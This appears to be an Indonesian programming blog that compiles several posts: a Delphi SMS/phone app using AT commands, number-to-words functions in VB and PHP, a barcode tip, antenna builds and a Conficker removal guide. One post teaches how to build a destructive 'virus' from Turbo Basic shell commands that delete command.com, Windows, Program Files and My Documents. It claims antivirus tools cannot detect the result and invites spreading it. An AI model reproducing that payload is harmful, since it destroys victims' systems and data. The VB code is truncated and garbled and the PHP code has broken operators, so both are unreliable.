Sabtu, 11 September 2010

Aplikasi Handphone

Aplikasi Handphone

Penulis
Kompilasi beberapa unit yang digunakan untuk mengirim dan membaca SMS, dan menampilkan informasi handphone


Untuk mengakomodasi masukan dari para rekan, aku menyusun aplikasi dari artikel Mengirim SMS dari PC dan artikel Membaca SMS dari PC, serta sedikit cara untuk mendapatkan informasi mengenai status HP.

Aplikasi ini dibuat dalam versi Delphi, dan dengan teknik yang sama, sangat mungkin untuk diporting ke Visual Basic ;)
untuk rekan yang belum terbiasa dengan Delphi, mungkin kapan-kapan akan aku buat versi VB-nya. Kapan ya...

Ketika aplikasi ini pertama kali dijalankan, dalam keadaan tidak terhubung ke handphone. Kita diberi kesempatan untuk memilih nomor port yang terhubung dengan handphone. Setelah memilih nomor port yang benar, kemudian tekan tombol Konek, maka aplikasi akan berusaha menghubungi HP.

Jika aplikasi sukses terhubung ke HP, maka akan ditampilkan beberapa informasi mengenai HP tersebut.
Berikut ini adalah informasi tersebut:
  • Merk HP, didapatkan dengan mengeksekusi perintah AT+CGMI
  • Informasi modem, dengan command AT+GMM
  • AT+CGSN untuk mendapatkan nomor IMEI
  • AT+COPS? untuk menampilkan operator jaringan
  • AT+CSCA? untuk mendapatkan nomor SMSC (layanan SMS)
Setelah itu, selama program berjalan, indikator dari handphone secara kontinu ditampilkan. Indikator tersebut diambil dengan perintah AT+CIND?
Nilai yang dikembalikan adalah suatu list (rangkaian) yang menandakan indikator HP. Urutan dan nilai indikator dapat berbeda untuk beberapa merk HP. Aku sudah nyoba untuk Sony Ericsson T610 dan Siemens CX65. Hasil yang persis sama adalah pada indikator Battery dan Sinyal, sedangkan indikator yang lain berbeda posisi.

Karena itu, jika ingin aplikasi kamu berjalan full untuk semua merk HP, maka aplikasi harus mendeteksi semua nilai yang didukung oleh HP yang digunakan. Informasi mengenai hal ini dapat dilihat pada command AT+CIND=?
Berikut ini adalah contoh hasil perintah AT+CIND=? pada Siemens CX65:
at+cind=?
+CIND: ("battchg",(0-5)),("signal",(0-5)),("service",(0,1)),
("message",(0,1)),("call",(0,1)),("roam",(0,1)),
("smsfull",(0,1)),("call status",(10x-20x)),
("GPRS coverage",(0,1)),("callsetup",(0-3))

OK
Sesuai urutannya, maka item pertama adalah level battery, kedua adalah sinyal, ketiga adalah kesiapan servis, lalu datangnya SMS baru, terjadinya panggilan (berbicara), kondisi roaming, sms box penuh, dan seterusnya. Silakan mereferensi ke manual masing-masing HP untuk lebih jelasnya.

Untuk mendapatkan nilainya, jalankan perintah AT+CIND? (tanpa sama dengan). Berikut ini adalah contohnya:
at+cind?
+CIND: 2,2,1,0,0,1,0,0,1,0
Yang didapatkan adalah rangkain nilainya. Nilai yang pertama adalah untuk battery, yaitu 2 dari skala 0 - 5 (lihat hasil AT+CIND=? di atas). Sinyal pada HP juga 2, begitu seterusnya.

Informasi tersebut ditampilkan secara terus menerus, dengan interval timer 1000 milisecond (1 detik). Berikut ini adalah contoh tampilan aplikasi:
Level sinyal dan battery ditampilkan dalam bentuk gauge meter, sedangkan indikator call, sms, smsfull ditampilkan dengan gambar pada kotak hijau sebelahnya. Ya, aku akui, gambar indikatornya tidak informatif sama sekali. Karena itulah, program ini aku tempatkan di sini, dipersilakan untuk dimodifikasi :D
Fasilitas aplikasi yang lain adalah SMS Info, untuk membaca SMS dari Inbox (termasuk SMS baru), sedangkan untuk SMS dalam folder draft dan sent, aplikasi belum mendukung :( silakan ditambahi, ok.

Page berikutnya adalah fasilitas untuk mengirim SMS. Di sini juga disediakan tombol untuk menyimpan SMS ke dalam folder draft pada HP.

Kedua fasilitas di atas menggunakan kedua unit yang telah dibahas pada artikel sebelumnya, namun dengan berbagai perbaikan dari masukan rekan-rekan semua, terutama Sri. Makasih banget, ok.
Kemudian, yang belum pernah dibahas sebelumnya adalah pembacaan buku kontak.

Untuk memilih memori penyimpanan kontak, apakah menggunakan SIM Card (kode SM), atau memori handphone (ME), atau keduanya (MT), digunakan perintah AT+CPBS=(SM, ME, MT). Tidak semua HP mendukung ketiganya, maka dari itu aplikasi mesti bijaksana memilih :)
untuk mengetahui media yang didukung, pake perintah AT+CPBS=?
Untuk CX65 defaultnya adalah SM, dan gak bisa ME. Untuk amannya, gunakan saja SM.

Setelah menentukan memori yang dipilih, berikutnya adalah mencari informasi index (nomor posisi) kontak yang tersedia. Gunakan perintah AT+CPBR=?, maka akan diberikan index yang tersedia. Contoh pada CX65:
at+cpbr=?
+CPBR: (1-250),20,12

OK
Hasil itu menandakan bahwa index yang tersedia adalah 1 - 250. Maka kita perlu membaca (looping) dari 1 sampai 250 untuk mendapatkan keseluruhan kontak. Gunakan perintah AT+CPBR=nomor indexnya untuk membaca tiap-tiap index. Contoh:
at+cpbr=88
+CPBR: 88,"+6281524737470",145,"Rasdi"

OK
Hasil yang diberikan tinggal diparsing dan ditampilkan pada listview.
Untuk mendownload aplikasi dan sourcenya, silakan menuju ke bagian update aplikasi.

Jika ingin menjalankan dari source-nya, atau melakukan modifikasi program, lebih mudah kalo menggunakan Delphi 6, karena aku membuatnya dari versi itu.

Untuk versi ini, dibutuhkan library XComDrv untuk mengcompile ulang. Silakan download library tersebut di sini. Extract pada suatu direktori (misalnya c:\ouxcom), lalu open file *.dpk melalui IDE Delphi, dan klik install.

Kemudin tambahkan path di mana ouxcom tersebut tadi di-extract, kedalam path library, agar library tersebut dapat bekerja. Masuk menu Tools > Environment Options > Library > Library path, browse ke c:\ouxcom, lalu tekan add.
Jika diperhatikan, masih banyak fasilitas yang mungkin ditambahkan. Aplikasi tersebut hanya contoh penerapan perintah AT Command untuk baca dan kirim SMS.

Ok, selamat mencoba.

Update Aplikasi

Versi terbaru:
Source: AplikasiSMS_1_7_Src.zip
Aplikasi: AplikasiSMS_1_7_Exe.zip

Source lama: AplikasiHP_1_2.zip

Function terbilang pada VB

Fungsi Terbilang Pake Vb

Mengubah angka menjadi huruf ..fungsi terbilang sangat bermanfaat buat kamu yang bikin program yang banyak berhubungan dengan uang.


Buat Module baru dengan nama Mod_terbilang :
isi script didalamnya :
Function NumToText(dblValue As Double) As String
    Static ones(0 To 9) As String
    Static teens(0 To 9) As String
    Static tens(0 To 9) As String
    Static thousands(0 To 4) As String
    Dim i As Integer, nPosition As Integer
    Dim nDigit As Integer, bAllZeros As Integer
    Dim strResult As String, strTemp As String
    Dim tmpBuff As String
    
    ones(0) = ""
    ones(1) = "one"
    ones(2) = "two"
    ones(3) = "three"
    ones(4) = "four"
    ones(5) = "five"
    ones(6) = "six"
    ones(7) = "seven"
    ones(8) = "eight"
    ones(9) = "nine"

    teens(0) = ""
    teens(1) = "eleven"
    teens(2) = "twenteen"
    teens(3) = "thirteen"
    teens(4) = "fourteen"
    teens(5) = "fiveteen"
    teens(6) = "sixteen"
    teens(7) = "seventeen"
    teens(8) = "eighteen"
    teens(9) = "nineteen"

    tens(0) = ""
    tens(1) = "ten"
    tens(2) = "twenty"
    tens(3) = "thirty"
    tens(4) = "fourty"
    tens(5) = "fivety"
    tens(6) = "sixty"
    tens(7) = "seventy"
    tens(8) = "eighty"
    tens(9) = "ninety"

    thousands(0) = ""
    thousands(1) = "thousand"
    thousands(2) = "million"
    thousands(3) = "billion"
    thousands(4) = "triliun"

    'Errors Handler
    On Error GoTo NumToTextError
    'Bagian akhir
    strResult = "rupiah "
    'Konversi ke string
    Dim des, j, t1, t2
    Dim ada As Boolean
    For j = 1 To Len(totalbiaya)
       des = Mid(totalbiaya, j, 1)
       If des = "." Or des = "," Then
          ada = True
          t1 = Mid(totalbiaya, 1, j - 1)
          t2 = Mid(totalbiaya, j   1)
          j = Len(totalbiaya)
       End If
    Next j
    If ada = True Then
      strTemp = CStr(Int(t1))
      ada = False
    Else
      strTemp = CStr(Int(dblValue))
    End If
'    strTemp = CStr(Int(dblValue))
    'Diulang sebanyak panjang teks
    For i = Len(strTemp) To 1 Step -1
        'Ambil nilai angka posisi ke-i
        nDigit = Val(Mid$(strTemp, i, 1))
        'Ambil posisi angka
        nPosition = (Len(strTemp) - i)   1
        'Pilihan proses tergantung posisi satuan, puluhan, atau ratusan
        Select Case (nPosition Mod 3)
            Case 1  'Posisi satuan
                bAllZeros = False
                If i = 1 Then
                    tmpBuff = ones(nDigit)

Penomoran menggunakan barcode pada Delphi

Barcode Reader

Penulis
Menggunakan perangkat barcoder reader pada aplikasi kita sangatlah mudah



Artikel ini mungkin gak berguna bagi programmer delphi yang sudah mahir, akan tetapi mungkin sangat dibutuhkan oleh programmer yang baru saja belajar dan ingin mengembangkan aplikasi dengan menggunakan perangkat barcode reader. Nah sebelumnya mungkin apa ya barcode reader itu :
Barcode Reader adalah alat yang digunakan untuk membaca kode barcode. Tanpa kita sadari bahwa setiap hari kita apat menemui barcode pada barang-barang yang kita gunakan sehari-hari. Seperti pada pasta gigi, sabun, pada makanan-makanan ringan, dll.
Barcode dibedakan menjadi 2 jenis barcode :
1. barcode 1 dimensi
barcode 1 dimensi terdiri dari garis-garis yang berwarna putih dan hitam. warna putih untuk nilai 0 dan warna hitam untuk nilai 1.
2. barcode 2 dimensi
sedangkan barcode 2 dimensi sudah tidak berupa garis-garis lagi, akan tetapi seperti gambar. jadi informasi yang tersimpan didalamnya akan lebih besar.
untuk membuat kode barcode dari delphi kita dapat memanfaatkan rave report yang udah include pada delphi versi 7. kita dapat memilih type dari barcode yang akan kita buat. diantaranya barcode untuk produk ritail, buku perpustakaan, anggota berbeda-beda. Kode yang akan kita buat bisa bebas asalkan hanya digunakan pada sistem disuatu tempat seperti perpustakaan, akan tetapi untuk produk yang akan di edarkan dipasaran harus didaftarkan terlebih dahulu ke GS1 agar tidak sama dengan produk yang lain.
Untuk menggunkan perangkat barcode pada aplikasi kita sangat mudah. Sistem kerja sebuah barcode reader hampir sama dengan inputan pada kayboard. jadi tidak diperlukan lagi driver atau komponent untuk menggunakan barcode reader pada delphi. kita tinggal hubungkan barcode ke PS2 kemudian komputer sudah menganggap barcode reader tersebut adalah kayboard. Perbedaan barcode reader dengan keyboard adalah barcode reader membaca sebuah kode barcode kemudian memasukan kode tersebut kedalam komputer dengan menambahkan karakter enter atau chr(13). Nah untuk itu kita tinggal memberikan event onkeypress pada Tedit yang akan kita gunakan sebagai input kode barcode. pada event tersebut kita berikan prosedure sebagai berikut :

procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
//pada input barcode reader pasti diakhir karakter mendapat tambahan karakter enter atau chr(13) misal 1234567 menjadi 1234567 chr(13)
if key = chr(13) then //apabila ditekan enter
//proses setelah penekanan enter
end;

Cara membuat antena omni 2,4 ghz

Ini ada gambar cara buat antena Omni 2.4GHz… 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Cara Membasmi Virus Conflicker pada PC Anda

Hancurkan Virus Conficker 

pusing...jaringan kena virus conficker...hiks 

virus tersebut berusaha mengakses jaringan menggunakan celah windows 'Default Share' (ADMIN$\system32) dengan menebak password administrator 

Selain itu 'Conficker.DV' juga membuat file pada media removable seperti flashdisk, harddisk dan card reader dengan menyimpan file hidden pada root drive. 

Sementara aksi yang sama seperti pendahulunya, yaitu berusaha mengexploitasi MS08-067 atau celah keamanan Windows, Windows Server Service atau SVCHOST.exe. Banyak user yang terinfeksi dikarenakan tidak mengaktifkan fitur Automatic Updates dan tidak melakukan patch windows MS08-067. 

nah mungkin cara-cara yang saya dapet dari seorang sahabat bisa berguna buat kita semua, cara nya : 

1. Putuskan komputer yang akan dibersihkan dari jaringan/internet. 
2. Matikan system restore (Windows XP/Vista). 
3. Matikan proses virus yang aktif pada services. Gunakan removal tool dari Norman untuk membersihkan virus yang aktif. Jika belum memiliki, bisa didownload di situs norman. 
4. Delete service svchost.exe gadungan yang ditanamkan virus pada registry. Anda dapat mencari secara manual pada registry. 
5. Hapus Schedule Task yang dibuat oleh virus. (C:\WINDOWS\Tasks) 
6. Hapus string registry yang dibuat oleh virus. Untuk mempermudah dapat menggunakan script registry di bawah ini: 

[Version] 
Signature="$Chicago$" 
Provider=Vaksincom Oyee 

[DefaultInstall] 
AddReg=UnhookRegKey 
DelReg=del 

[UnhookRegKey] 
HKCU, Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, 
Hidden, 0x00000001,1 
HKCU, Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced, 
SuperHidden, 0x00000001,1 
HKLM, 
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL, 
CheckedValue, 0x00000001,1 
HKLM, SYSTEM\CurrentControlSet\Services\BITS, Start, 0x00000002,2 
HKLM, SYSTEM\CurrentControlSet\Services\ERSvc, Start, 0x00000002,2 
HKLM, SYSTEM\CurrentControlSet\Services\wscsvc, Start, 0x00000002,2 
HKLM, SYSTEM\CurrentControlSet\Services\wuauserv, Start, 0x00000002,2 

[del] 
HKCU, Software\Microsoft\Windows\CurrentVersion\Applets, dl 
HKCU, Software\Microsoft\Windows\CurrentVersion\Applets, ds 
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Applets, dl 
HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Applets, ds 
HKLM, SYSTEM\CurrentControlSet\Services\Tcpip\Parameters, TcpNumConnections 

Gunakan notepad, kemudian simpan dengan nama 'repair.inf', lalu 'Save As Type' menjadi 'All Files' agar tidak terjadi kesalahan. Jalankan repair.inf dengan klik kanan, kemudian pilih install. 

Sementara untuk file yang aktif pada startup, Anda dapat mendisable melalui 'msconfig' atau dapat mendelete secara manual pada string: 'HKLM, SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 

7. Untuk pembersihan virus W32/Conficker.DV secara optimal dan mencegah infeksi ulang, sebaiknya menggunakan antivirus yang terupdate dan mampu mendeteksi virus ini dengan baik dan patch komputer Anda dengan patch resmi dari Microsoft guna mencegah infeksi ulang. ketawa-tawa

Cara membuat program perusak seperti virus

Download Turbo Basic v1.0 

Membuat program perusak (seperti virus) merupakan keinginan sebagian para pemula komputer, tapi bagaimana mereka bisa membuat kalau mereka tidak tahu bahasa pemograman sama sekali, anda jangan resah untuk masalah ini karena saat ini penulis akan mengajarkan anda cara membuat program perusak (virus) yang sangat sederhana sekali tapi sangat mematikan bahkan bisa dikatakan lebih mengerikan dari program perusak manapun. 

Pertama kali skill yang anda butuhkan adalah dasar DOS, tanpa ini anda akan sulit untuk berkreasi dalam membuat program ini tapi jika anda tidak tahu dasar perintah DOS maka anda cukup copy paste saja, bahasa pemograman yang akan kita pakai adalah Turbo Basic v1.0, anda dapat mendownloadnya di Google. 

Diatas adalah tampilan Turbo Basic, jika anda buta pemograman Turbo Basic maka anda masuk ke Edit lalu anda tulis Source Code program perusak. 

shell "Perintah DOS" 

dengan diawali kata shell maka anda dapat menjalankan perintah DOS pada program, misal anda membuat : 

shell "c:" 
shell "cd\" 
shell "del command.com" 

Diatas adalah contoh menghapus DOS pada DOS Classic, Windows 95/98 sehingga pengguna komputer tidak dapat booting, kita contohkan yang lain. 

shell "c:" 
shell "cd\" 
shell "deltree /y mydocu~1" 
shell "deltree /y windows" 
shell "deltree /y progra~1" 

Diatas adalah contoh menghapus Directory My Document, WIndows dan Program FIles, sangat fatal bukan ? 

Setelah anda selesai membuat programnya maka anda save dahulu, caranya pilih File lalu Save lalu beri nama filenya misal VIRUS.BAS, setelah itu baru kita mengcompile source code tadi, caranya pilih Options lalu pilih Compile to EXE file, setelah itu masuk ke pilihan compile lalu anda enter, maka source code tersebut akan menjadi file EXE. 

Jika file EXE tersebut dijalankan maka komputer anda akan menjalankan perintah DOS pada program, dari tutorial diatas, anda dapat berkreasi sendiri bagaimana virus buatan anda dapat berjalan sesuai dengan anda inginkan, perlu diketahui bahwa TIDAK ADA SATU ANTIVIRUS DIDUNIA INI DAPAT MENDETEKSI PROGRAM INI ADALAH VIRUS jadi anda bebas mengcopykan program ini ke komputer manapun yang anda suka kecuali komputer berbasis non DOS atau Windows, hehe 

Tujuan dari tutorial ini adalah agar kita lebih waspada terhadap berbagai file dengan ekstensi *.exe meskipun file *.exe tersebut 100% dinyatakan bebas virus dari berbagai jenis Antivirus.
 


*Segala kesalahan error / kerusakan pada komputer dan semacamnya adalah tanggung jawab anda ! 
*Semua yang anda pelajari dan anda lakukan adalah sepenuhnya tanggung jawab anda tanpa kecuali (termasuk member)

Cara Bikin Antena GSM (3G & HSDPA)


Bahan : 
1. Paralon 4” (inchi) harga : dapet nemu di garasi 
2. Tutup Paralon 4” (inchi) harga : 5 ribu 
3. Lakban Alumunium Foil harga : 25 ribu satu roll 

Alat: tergantung kebutuhan 

Caranye: 
1. Potong Paralon panjang 50 cm ato < 23 cm 
2. Lubangi Paralon untuk kabel usb 6.8 cm (lihat gambar) 
3. Lapisi Paralon memakai Lakban Alumunium 
(yang rapih ye biar enak dilliatnya) 
4. Lapisi tutup Paralon (dalamnya) pake lakban alumunium foil 
sehingga jika ditutup paralon tadi kalo di pasangkan alumunium foilnya bersentuhan dengan 
alumunium yg di tempel paralonnya 
5. Terus pasangkan tutup paralon tersebut. 
6. langsung Tezzzzttt 
7. modem di masukan ke dalam paralon lewat lubang yg kagak di tutup nah kabelnya lewat paralon yg dilubangin tadi 
8 udah tingal di arahkan aja antenanya mau ke muka masing2 aja boleh 

Inga-inga...!!! 

karena ruang penerimaan sinyal sempit maka 
arah Antena harus benar tepat sasaran 
kalo tidak ya gak dapet sinyal malahan 

Ini contona... 

Nah gambar di bawah ini biasanya gue gak pernah dapet sinyal 3G satu batangpun kalaupun ada ya begitulah


Fungsi terbilang pada PHP

PHP:
  1. <?php
  2. function kekata($x) {
  3.     $x = abs($x);
  4.     $angka = array("""satu""dua""tiga""empat""lima",
  5.     "enam""tujuh""delapan""sembilan""sepuluh""sebelas");
  6.     $temp = "";
  7.     if ($x <12) {
  8.         $temp = " "$angka[$x];
  9.     } else if ($x <20) {
  10.         $temp = kekata($x - 10)" belas";
  11.     } else if ($x <100) {
  12.         $temp = kekata($x/10)." puluh". kekata($x % 10);
  13.     } else if ($x <200) {
  14.         $temp = " seratus" . kekata($x - 100);
  15.     } else if ($x <1000) {
  16.         $temp = kekata($x/100) . " ratus" . kekata($x % 100);
  17.     } else if ($x <2000) {
  18.         $temp = " seribu" . kekata($x - 1000);
  19.     } else if ($x <1000000) {
  20.         $temp = kekata($x/1000) . " ribu" . kekata($x % 1000);
  21.     } else if ($x <1000000000) {
  22.         $temp = kekata($x/1000000) . " juta" . kekata($x % 1000000);
  23.     } else if ($x <1000000000000) {
  24.         $temp = kekata($x/1000000000) . " milyar" . kekata(fmod($x,1000000000));
  25.     } else if ($x <1000000000000000) {
  26.         $temp = kekata($x/1000000000000) . " trilyun" . kekata(fmod($x,1000000000000));
  27.     }      
  28.         return $temp;
  29. }
  30. function terbilang($x$style=4) {
  31.     if($x<0) {
  32.         $hasil = "minus "trim(kekata($x));
  33.     } else {
  34.         $hasil = trim(kekata($x));
  35.     }      
  36.     switch ($style) {
  37.         case 1:
  38.             $hasil = strtoupper($hasil);
  39.             break;
  40.         case 2:
  41.             $hasil = strtolower($hasil);
  42.             break;
  43.         case 3:
  44.             $hasil = ucwords($hasil);
  45.             break;
  46.         default:
  47.             $hasil = ucfirst($hasil);
  48.             break;
  49.     }      
  50.     return $hasil;
  51. }
  52. ?>
Penggunaan:
PHP:
  1. terbilang($bilangan,$style);
$bilangan = Bilangan yang akan diterjemahkan.
$style = Format penulisan untuk output, 1=uppercase, 2= lowercase, 3= uppercase untuk huruf pertama tiap kata dan 4=uppercase untuk huruf pertama saja. Defaultnya 4.
Contoh:
Gunakan form berikut untuk mencoba fungsi tersebut.
Bilangan: